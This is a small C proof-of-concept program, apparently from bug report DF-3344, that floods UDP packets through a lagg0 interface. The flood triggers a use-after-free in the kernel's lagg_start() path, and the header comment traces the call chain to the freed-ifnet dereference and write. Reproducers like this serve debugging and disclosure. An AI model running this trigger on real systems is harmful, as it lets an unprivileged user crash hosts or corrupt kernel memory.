DF-3344 / udptx.c
/* * udptx.c - unprivileged tx through lagg0 to exercise lagg_start() * with a stale (freed) member port. DF-3344 trigger. * * Every packet to a neighbor subnet forces ether_output -> lagg0 * ifq -> lagg_start -> sc_select_tx_port -> lagg_link_active() * which dereferences lp->lp_ifp->if_link_state / if_flags of the * freed member ifnet, and may dispatch the netmsg to the freed * ifp's tx queue (ifq_dispatch write). * * Usage: ./udptx <srcif-ip-dest> [count] e.g. ./udptx 10.66.7.2 20000 */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> int main(int argc, char **argv) { struct sockaddr_in dst; const char *daddr = argc > 1 ? argv[1] : "10.66.7.2"; int n = argc > 2 ? atoi(argv[2]) : 20000; int s, i, sent = 0; char payload[64]; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); if (inet_pton(AF_INET, daddr, &dst.sin_addr) != 1) errx(1, "bad addr"); memset(payload, 'A', sizeof(payload)); /* bind to lagg0's address so the route goes out lagg0 */ { struct sockaddr_in src; memset(&src, 0, sizeof(src)); src.sin_family = AF_INET; src.sin_port = 0; src.sin_addr.s_addr = dst.sin_addr.s_addr & htonl(0xffffff00); src.sin_addr.s_addr |= htonl(1); /* x.x.x.1 = lagg0 */ if (bind(s, (struct sockaddr *)&src, sizeof(src)) != 0) warn("bind (continuing unbound)"); } for (i = 0; i < n; i++) { if (sendto(s, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) >= 0) sent++; } printf("sent %d/%d udp packets via lagg0\n", sent, n); return (0); } |